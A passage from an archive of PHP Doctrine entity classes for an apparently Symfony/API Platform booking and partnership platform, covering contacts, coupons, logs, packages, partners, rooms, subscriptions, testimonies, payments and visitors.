(!$this->actualite->contains($actualite)) { $this->actualite[] = $actualite; } return $this; } public function removeActualite(Actualite $actualite): self { if ($this->actualite->contains($actualite)) { $this->actualite->removeElement($actualite); } return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->userComment; } } Entity/Contact.php 0000644 00000004542 15117152230 0010126 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\ContactRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=ContactRepository::class) */ class Contact { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=Visitor::class, inversedBy="contacts") * @ORM\JoinColumn(nullable=false) */ public $visitor; /** * @ORM\Column(type="string", length=10000) */ public $message; /** * @ORM\Column(type="datetime", nullable=true) */ public $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="contacts") */ public $threatBy; /** * @ORM\Column(type="datetime", nullable=true) */ public $threatAt; public function getId(): ?int { return $this->id; } public function getVisitor(): ?Visitor { return $this->visitor; } public function setVisitor(?Visitor $visitor): self { $this->visitor = $visitor; return $this; } public function getMessage(): ?string { return $this->message; } public function setMessage(string $message): self { $this->message = $message; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(?\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getThreatBy(): ?User { return $this->threatBy; } public function setThreatBy(?User $threatBy): self { $this->threatBy = $threatBy; return $this; } public function getThreatAt(): ?\DateTimeInterface { return $this->threatAt; } public function setThreatAt(?\DateTimeInterface $threatAt): self { $this->threatAt = $threatAt; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". substr($this->message,0,20)."..."; } } Entity/Coupon.php 0000644 00000006164 15117152230 0010000 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\CouponRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiFilter; use ApiPlatform\Core\Bridge\Doctrine\Orm\Filter\RangeFilter; use ApiPlatform\Core\Bridge\Doctrine\Orm\Filter\SearchFilter; use ApiPlatform\Core\Bridge\Doctrine\Orm\Filter\OrderFilter; use Symfony\Component\Serializer\Annotation\Groups; use ApiPlatform\Core\Bridge\Doctrine\Orm\Filter\DateFilter; use ApiPlatform\Core\Annotation\ApiProperty; /** * @ApiResource() * @ORM\Entity(repositoryClass=CouponRepository::class) * * @ApiFilter(SearchFilter::class, * properties={ * "couponName": "exact", * }) * * @ApiFilter(DateFilter::class, * properties={ * "expireAt": "exact", * }) */ class Coupon { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $couponName; /** * @ORM\Column(type="integer") */ private $couponValue; /** * @ORM\ManyToOne(targetEntity=User::class) * @ORM\JoinColumn(nullable=false) */ private $createdBy; /** * @ORM\Column(type="datetime") */ private $expireAt; /** * @ORM\Column(type="datetime", nullable=true) */ private $createAt; /** * @ORM\Column(type="boolean") */ private $enable; public function getId(): ?int { return $this->id; } public function getCouponName(): ?string { return $this->couponName; } public function setCouponName(string $couponName): self { $this->couponName = $couponName; return $this; } public function getCouponValue(): ?int { return $this->couponValue; } public function setCouponValue(int $couponValue): self { $this->couponValue = $couponValue; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getExpireAt(): ?\DateTimeInterface { return $this->expireAt; } public function setExpireAt(\DateTimeInterface $expireAt): self { $this->expireAt = $expireAt; return $this; } public function getCreateAt(): ?\DateTimeInterface { return $this->createAt; } public function setCreateAt(?\DateTimeInterface $createAt): self { $this->createAt = $createAt; return $this; } public function getEnable(): ?bool { return $this->enable; } public function setEnable(bool $enable): self { $this->enable = $enable; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->couponName; } } Entity/Logs.php 0000644 00000004707 15117152230 0007442 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\LogsRepository; use Doctrine\ORM\Mapping as ORM; use Symfony\Component\Validator\Constraints as Assert; // Symfony's built-in constraints /** * @ApiResource( * iri="http://schema.org/Logs", * attributes={"security"="is_granted('ROLE_USER')"}, * itemOperations={ * "get", * "put"={"security"="is_granted('ROLE_ADMIN') or object.user == user"}, * "delete"={"security"="is_granted('ROLE_ADMIN') or object.user == user"}, * }) * @ORM\Entity(repositoryClass=LogsRepository::class) */ class Logs { /** * @ORM\Id() * @ORM\GeneratedValue(strategy="AUTO") * @ORM\Column(type="integer" ) */ private $id; /** * @ORM\Column(type="string", length=500, nullable=true) */ private $activity; /** * @Assert\Ip * @ORM\Column(type="string", length=255, nullable=true) */ private $ipAddress; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="logs") */ public $user; public function getId(): ?int { return $this->id; } public function getActivity(): ?string { return $this->activity; } public function setActivity(?string $activity): self { $this->activity = $activity; return $this; } public function getIpAddress(): ?string { return $this->ipAddress; } public function setIpAddress(?string $ipAddress): self { $this->ipAddress = $ipAddress; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getUser(): ?user { return $this->user; } public function setUser(?user $user): self { $this->user = $user; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); } public function __toString() { // TODO: Implement __toString() method. if(!is_null($this->getUser())){ return "(".$this->getUser()->getLastName().")". $this->activity; }else{ return $this->activity; } } } Entity/Package.php 0000644 00000007614 15117152230 0010071 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PackageRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PackageRepository::class) */ class Package { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $packageName; /** * @ORM\Column(type="string", length=1000) */ private $packageDesc; /** * @ORM\Column(type="integer") */ private $packageCost; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $packageCover; /** * @ORM\ManyToOne(targetEntity=User::class) * @ORM\JoinColumn(nullable=true) */ private $createdBy; /** * @ORM\Column(type="integer") */ private $validity; /** * @ORM\Column(type="datetime", nullable=true) */ private $createdAt; /** * @ORM\Column(type="datetime", nullable=true) */ private $lastUpdate; /** * @ORM\ManyToOne(targetEntity=User::class) * @ORM\JoinColumn(nullable=true) */ private $modifyBy; /** * @ORM\Column(type="integer") */ private $maxProducts; public function __construct() { $this->createdAt = new \DateTime( ); } public function getId(): ?int { return $this->id; } public function getPackageName(): ?string { return $this->packageName; } public function setPackageName(string $packageName): self { $this->packageName = $packageName; return $this; } public function getPackageDesc(): ?string { return $this->packageDesc; } public function setPackageDesc(string $packageDesc): self { $this->packageDesc = $packageDesc; return $this; } public function getPackageCost(): ?int { return $this->packageCost; } public function setPackageCost(int $packageCost): self { $this->packageCost = $packageCost; return $this; } public function getPackageCover(): ?MediaObject { return $this->packageCover; } public function setPackageCover(?MediaObject $packageCover): self { $this->packageCover = $packageCover; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getValidity(): ?int { return $this->validity; } public function setValidity(int $validity): self { $this->validity = $validity; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getLastUpdate(): ?\DateTimeInterface { return $this->lastUpdate; } public function setLastUpdate(?\DateTimeInterface $lastUpdate): self { $this->lastUpdate = $lastUpdate; return $this; } public function getModifyBy(): ?User { return $this->modifyBy; } public function setModifyBy(?User $modifyBy): self { $this->modifyBy = $modifyBy; return $this; } public function getMaxProducts(): ?int { return $this->maxProducts; } public function setMaxProducts(int $maxProducts): self { $this->maxProducts = $maxProducts; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->packageName; } } Entity/Partenariat.php 0000644 00000015444 15117152230 0011010 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PartenariatRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PartenariatRepository::class) */ class Partenariat { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ public $id; /** * @ORM\Column(type="string", length=255, unique=true) */ public $companyName; /** * @ORM\Column(type="string", length=255) */ public $companyLocation; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $companyPhone; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $companyEmail; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $companyPostalCode; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $docPerso; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $docRCM; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $locationPlan; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $collaborationLetter; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $managerName; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $managerSurname; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $managerEmail; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $managerPhone; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $managerLocation; /** * @ORM\Column(type="boolean", nullable=true) */ public $docApproved; /** * @ORM\ManyToOne(targetEntity=User::class) */ public $approvedBy; /** * @ORM\Column(type="datetime") */ public $createdAt; /** * @ORM\Column(type="datetime", nullable=true) */ public $approvedAt; public function getId(): ?int { return $this->id; } public function getCompanyName(): ?string { return $this->companyName; } public function setCompanyName(string $companyName): self { $this->companyName = $companyName; return $this; } public function getCompanyLocation(): ?string { return $this->companyLocation; } public function setCompanyLocation(string $companyLocation): self { $this->companyLocation = $companyLocation; return $this; } public function getCompanyPhone(): ?string { return $this->companyPhone; } public function setCompanyPhone(?string $companyPhone): self { $this->companyPhone = $companyPhone; return $this; } public function getCompanyEmail(): ?string { return $this->companyEmail; } public function setCompanyEmail(?string $companyEmail): self { $this->companyEmail = $companyEmail; return $this; } public function getCompanyPostalCode(): ?string { return $this->companyPostalCode; } public function setCompanyPostalCode(?string $companyPostalCode): self { $this->companyPostalCode = $companyPostalCode; return $this; } public function getDocPerso(): ?string { return $this->docPerso; } public function setDocPerso(string $docPerso): self { $this->docPerso = $docPerso; return $this; } public function getDocRCM(): ?string { return $this->docRCM; } public function setDocRCM(string $docRCM): self { $this->docRCM = $docRCM; return $this; } public function getLocationPlan(): ?string { return $this->locationPlan; } public function setLocationPlan(string $locationPlan): self { $this->locationPlan = $locationPlan; return $this; } public function getCollaborationLetter(): ?string { return $this->collaborationLetter; } public function setCollaborationLetter(string $collaborationLetter): self { $this->collaborationLetter = $collaborationLetter; return $this; } public function getManagerName(): ?string { return $this->managerName; } public function setManagerName(string $managerName): self { $this->managerName = $managerName; return $this; } public function getManagerSurname(): ?string { return $this->managerSurname; } public function setManagerSurname(string $managerSurname): self { $this->managerSurname = $managerSurname; return $this; } public function getManagerEmail(): ?string { return $this->managerEmail; } public function setManagerEmail(string $managerEmail): self { $this->managerEmail = $managerEmail; return $this; } public function getManagerPhone(): ?string { return $this->managerPhone; } public function setManagerPhone(string $managerPhone): self { $this->managerPhone = $managerPhone; return $this; } public function getManagerLocation(): ?string { return $this->managerLocation; } public function setManagerLocation(string $managerLocation): self { $this->managerLocation = $managerLocation; return $this; } public function getDocApproved(): ?bool { return $this->docApproved; } public function setDocApproved(?bool $docApproved): self { $this->docApproved = $docApproved; return $this; } public function getApprovedBy(): ?User { return $this->approvedBy; } public function setApprovedBy(?User $approvedBy): self { $this->approvedBy = $approvedBy; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); } public function getApprovedAt(): ?\DateTimeInterface { return $this->approvedAt; } public function setApprovedAt(?\DateTimeInterface $approvedAt): self { $this->approvedAt = $approvedAt; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->companyName; } } Entity/RefreshToken.php 0000644 00000000447 15117152230 0011132 0 ustar 00 <?php namespace App\Entity; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; use Gesdinet\JWTRefreshTokenBundle\Entity\RefreshToken as BaseRefreshToken; /** * @ORM\Entity * @ORM\Table("refresh_tokens") */ class RefreshToken extends BaseRefreshToken { } Entity/RoomOption.php 0000644 00000006057 15117152230 0010643 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\RoomOptionRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=RoomOptionRepository::class) */ class RoomOption { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="boolean", nullable=true) */ private $clim; /** * @ORM\Column(type="boolean", nullable=true) */ private $toilet; /** * @ORM\Column(type="boolean", nullable=true) */ /** * @ORM\Column(type="boolean", nullable=true) */ private $roomService; /** * @ORM\Column(type="boolean", nullable=true) */ private $availablePhone; /** * @ORM\Column(type="boolean", nullable=true) */ private $television; /** * @ORM\Column(type="boolean", nullable=true) */ private $fan; /** * @ORM\Column(type="boolean", nullable=true) */ private $freeBreakFast; public function getId(): ?int { return $this->id; } public function getClim(): ?bool { return $this->clim; } public function setClim(?bool $clim): self { $this->clim = $clim; return $this; } public function getToilet(): ?bool { return $this->toilet; } public function setToilet(?bool $toilet): self { $this->toilet = $toilet; return $this; } public function getRoomService(): ?bool { return $this->roomService; } public function setRoomService(?bool $roomService): self { $this->roomService = $roomService; return $this; } public function getAvailablePhone(): ?bool { return $this->availablePhone; } public function setAvailablePhone(?bool $availablePhone): self { $this->availablePhone = $availablePhone; return $this; } public function getTelevision(): ?bool { return $this->television; } public function setTelevision(?bool $television): self { $this->television = $television; return $this; } public function getFan(): ?bool { return $this->fan; } public function setFan(?bool $fan): self { $this->fan = $fan; return $this; } public function getFreeBreakFast(): ?bool { return $this->freeBreakFast; } public function setFreeBreakFast(?bool $freeBreakFast): self { $this->freeBreakFast = $freeBreakFast; return $this; } public function __toString() { // TODO: Implement __toString() method. return "freeBreakFast: ".$this->getState($this->freeBreakFast).", fan: ".$this->getState($this->fan).", Tv: ".$this->getState($this->television).", Toilet: ".$this->getState($this->toilet); } public function getState($boolean){ if($boolean){ return "Yes"; }else{ return "No"; } } } Entity/RoomType.php 0000644 00000002213 15117152230 0010302 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\RoomTypeRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=RoomTypeRepository::class) */ class RoomType { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $type; /** * @ORM\Column(type="datetime") */ private $createdAt; public function getId(): ?int { return $this->id; } public function getType(): ?string { return $this->type; } public function setType(string $type): self { $this->type = $type; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->type; } } Entity/Subscription.php 0000644 00000005435 15117152230 0011221 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\SubscriptionRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=SubscriptionRepository::class) */ class Subscription { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=Company::class, inversedBy="subscriptions") * @ORM\JoinColumn(nullable=false) */ private $partner; /** * @ORM\Column(type="datetime", nullable=true) */ private $expireAt; /** * @ORM\Column(type="boolean", nullable=true) */ private $expire; /** * @ORM\ManyToOne(targetEntity=Package::class) * @ORM\JoinColumn(nullable=false) */ private $package; /** * @ORM\Column(type="datetime",nullable=true) */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="subscriptions") * @ORM\JoinColumn(nullable=true) */ private $createdBy; public function getId(): ?int { return $this->id; } public function getPartner(): ?Company { return $this->partner; } public function setPartner(?Company $partner): self { $this->partner = $partner; return $this; } public function getExpireAt(): ?\DateTimeInterface { return $this->expireAt; } public function setExpireAt(?\DateTimeInterface $expireAt): self { $this->expireAt = $expireAt; return $this; } public function getExpire(): ?bool { return $this->expire; } public function setExpire(?bool $expire): self { $this->expire = $expire; return $this; } public function getPackage(): ?Package { return $this->package; } public function setPackage(?Package $package): self { $this->package = $package; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->getPackage()->getPackageName()." Company: ".$this->getPartner()->getCompanyName(); } public function __construct() { $this->createdAt = new \DateTime(); } } Entity/Testimony.php 0000644 00000006561 15117152230 0010531 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\TestimonyRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=TestimonyRepository::class) */ class Testimony { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $picture; /** * @ORM\Column(type="string", length=255) */ public $client; /** * @ORM\Column(type="string", length=1255) */ public $message; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $contact; /** * @ORM\Column(type="integer") */ private $appreciation; /** * @ORM\Column(type="boolean") */ private $approved; /** * @ORM\Column(type="datetime",nullable=true) */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class) */ private $approvedBy; public function getId(): ?int { return $this->id; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function getClient(): ?string { return $this->client; } public function setClient(string $client): self { $this->client = $client; return $this; } public function getMessage(): ?string { return $this->message; } public function setMessage(string $message): self { $this->message = $message; return $this; } public function getContact(): ?string { return $this->contact; } public function setContact(?string $contact): self { $this->contact = $contact; return $this; } public function getAppreciation(): ?int { return $this->appreciation; } public function setAppreciation(int $appreciation): self { if($appreciation>10){ $this->appreciation =10; }else if($appreciation<0){ $this->appreciation =0; }else{ $this->appreciation = $appreciation; } return $this; } public function getApproved(): ?bool { return $this->approved; } public function setApproved(bool $approved): self { $this->approved = $approved; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function getData(): ?Testimony { return $this; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getApprovedBy(): ?User { return $this->approvedBy; } public function setApprovedBy(?User $approvedBy): self { $this->approvedBy = $approvedBy; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". substr($this->getMessage(),0,20)."..."; } } Entity/PaymentOption.php 0000644 00000010754 15117152230 0011343 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PaymentOptionRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PaymentOptionRepository::class) */ class PaymentOption { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $paymentName; /** * @ORM\Column(type="boolean") */ private $enable; /** * @ORM\Column(type="datetime_immutable") */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class,cascade={"refresh", "merge", "detach"}) */ private $createdBy; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture; /** * @ORM\OneToMany(targetEntity=Payment::class, mappedBy="paymentOption") */ private $payments; /** * @ORM\ManyToOne(targetEntity=Country::class, inversedBy="paymentOptions") */ private $country; /** * @ORM\Column(type="integer", nullable=true) */ private $rOnly; /** * @ORM\ManyToOne(targetEntity=PaymentProvider::class, inversedBy="paymentOptions") * @ORM\JoinColumn(nullable=false) */ private $provider; /** * @ORM\Column(type="boolean", nullable=true) */ private $isCash; public function getId(): ?int { return $this->id; } public function getPaymentName(): ?string { return $this->paymentName; } public function setPaymentName(string $paymentName): self { $this->paymentName = $paymentName; return $this; } public function isEnable(): ?bool { return $this->enable; } public function setEnable(bool $enable): self { $this->enable = $enable; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function __construct() { $this->createdAt = new \DateTimeImmutable( ); $this->payments = new ArrayCollection(); } public function __toString() { // TODO: Implement __toString() method. return "".$this->getPaymentName(); } /** * @return Collection<int, Payment> */ public function getPayments(): Collection { return $this->payments; } public function addPayment(Payment $payment): self { if (!$this->payments->contains($payment)) { $this->payments[] = $payment; $payment->setPaymentOption($this); } return $this; } public function removePayment(Payment $payment): self { if ($this->payments->removeElement($payment)) { // set the owning side to null (unless already changed) if ($payment->getPaymentOption() === $this) { $payment->setPaymentOption(null); } } return $this; } public function getCountry(): ?Country { return $this->country; } public function setCountry(?Country $country): self { $this->country = $country; return $this; } public function getROnly(): ?int { return $this->rOnly; } public function setROnly(?int $rOnly): self { $this->rOnly = $rOnly; return $this; } public function getProvider(): ?PaymentProvider { return $this->provider; } public function setProvider(?PaymentProvider $provider): self { $this->provider = $provider; return $this; } public function isIsCash(): ?bool { return $this->isCash; } public function setIsCash(?bool $isCash): self { $this->isCash = $isCash; return $this; } } Entity/PaymentProvider.php 0000644 00000010535 15117152230 0011662 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PaymentProviderRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PaymentProviderRepository::class) */ class PaymentProvider { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $providerName; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $providerLogo; /** * @ORM\Column(type="boolean") */ private $enable; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class) */ private $createdBy; /** * @ORM\ManyToOne(targetEntity=Country::class, inversedBy="paymentProviders") */ private $country; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $website; /** * @ORM\OneToMany(targetEntity=PaymentOption::class, mappedBy="provider") */ private $paymentOptions; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $skuCode; public function __construct() { $this->paymentOptions = new ArrayCollection(); $this->createdAt= new \DateTimeImmutable(); } public function getId(): ?int { return $this->id; } public function getProviderName(): ?string { return $this->providerName; } public function setProviderName(string $providerName): self { $this->providerName = $providerName; return $this; } public function getProviderLogo(): ?MediaObject { return $this->providerLogo; } public function setProviderLogo(?MediaObject $providerLogo): self { $this->providerLogo = $providerLogo; return $this; } public function isEnable(): ?bool { return $this->enable; } public function setEnable(bool $enable): self { $this->enable = $enable; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(?\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getCountry(): ?Country { return $this->country; } public function setCountry(?Country $country): self { $this->country = $country; return $this; } public function getWebsite(): ?string { return $this->website; } public function setWebsite(?string $website): self { $this->website = $website; return $this; } /** * @return Collection<int, PaymentOption> */ public function getPaymentOptions(): Collection { return $this->paymentOptions; } public function addPaymentOption(PaymentOption $paymentOption): self { if (!$this->paymentOptions->contains($paymentOption)) { $this->paymentOptions[] = $paymentOption; $paymentOption->setProvider($this); } return $this; } public function removePaymentOption(PaymentOption $paymentOption): self { if ($this->paymentOptions->removeElement($paymentOption)) { // set the owning side to null (unless already changed) if ($paymentOption->getProvider() === $this) { $paymentOption->setProvider(null); } } return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->getProviderName()."(".$this->getCountry()->getCountryName().")"; } public function getSkuCode(): ?string { return $this->skuCode; } public function setSkuCode(?string $skuCode): self { $this->skuCode = $skuCode; return $this; } } Entity/Visitor.php 0000644 00000015720 15117152230 0010172 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\VisitorRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=VisitorRepository::class) */ class Visitor { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255,unique=true) */ private $webAgent; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $ipLocation; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $countryLocation; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $visitorName; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $visitorPhone; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $physicalLocationAdd; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $longitudeAdd; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $latitudeAdd; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $continent; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $region; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $ville; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $visitorEmail; /** * @ORM\OneToMany(targetEntity=Contact::class, mappedBy="visitor", orphanRemoval=true) */ private $contacts; /** * @ORM\Column(type="boolean", nullable=true, options={"default":0}) */ private $isAdmin; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $countryCode; public function getId(): ?int { return $this->id; } public function getWebAgent(): ?string { return $this->webAgent; } public function setWebAgent(string $webAgent): self { $this->webAgent = $webAgent; return $this; } public function getIpLocation(): ?string { return $this->ipLocation; } public function setIpLocation(string $ipLocation): self { $this->ipLocation = $ipLocation; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCountryLocation(): ?string { return $this->countryLocation; } public function setCountryLocation(string $countryLocation): self { $this->countryLocation = $countryLocation; return $this; } public function getVisitorName(): ?string { return $this->visitorName; } public function setVisitorName(string $visitorName): self { $this->visitorName = $visitorName; return $this; } public function getVisitorPhone(): ?string { return $this->visitorPhone; } public function setVisitorPhone(string $visitorPhone): self { $this->visitorPhone = $visitorPhone; return $this; } public function getPhysicalLocationAdd(): ?string { return $this->physicalLocationAdd; } public function setPhysicalLocationAdd(string $physicalLocationAdd): self { $this->physicalLocationAdd = $physicalLocationAdd; return $this; } public function getLongitudeAdd(): ?string { return $this->longitudeAdd; } public function setLongitudeAdd(string $longitudeAdd): self { $this->longitudeAdd = $longitudeAdd; return $this; } public function getLatitudeAdd(): ?string { return $this->latitudeAdd; } public function setLatitudeAdd(string $latitudeAdd): self { $this->latitudeAdd = $latitudeAdd; return $this; } public function __construct() { $this->createdAt = new \DateTime( ); $this->webAgent = $_SERVER['HTTP_USER_AGENT']; $this->contacts = new ArrayCollection(); } public function getContinent(): ?string { return $this->continent; } public function setContinent(?string $continent): self { $this->continent = $continent; return $this; } public function getRegion(): ?string { return $this->region; } public function setRegion(?string $region): self { $this->region = $region; return $this; } public function getVille(): ?string { return $this->ville; } public function setVille(?string $ville): self { $this->ville = $ville; return $this; } public function getVisitorEmail(): ?string { return $this->visitorEmail; } public function setVisitorEmail(?string $visitorEmail): self { $this->visitorEmail = $visitorEmail; return $this; } /** * @return Collection|Contact[] */ public function getContacts(): Collection { return $this->contacts; } public function addContact(Contact $contact): self { if (!$this->contacts->contains($contact)) { $this->contacts[] = $contact; $contact->setVisitor($this); } return $this; } public function removeContact(Contact $contact): self { if ($this->contacts->contains($contact)) { $this->contacts->removeElement($contact); // set the owning side to null (unless already changed) if ($contact->getVisitor() === $this) { $contact->setVisitor(null); } } return $this; } public function getIsAdmin(): ?bool { return $this->isAdmin; } public 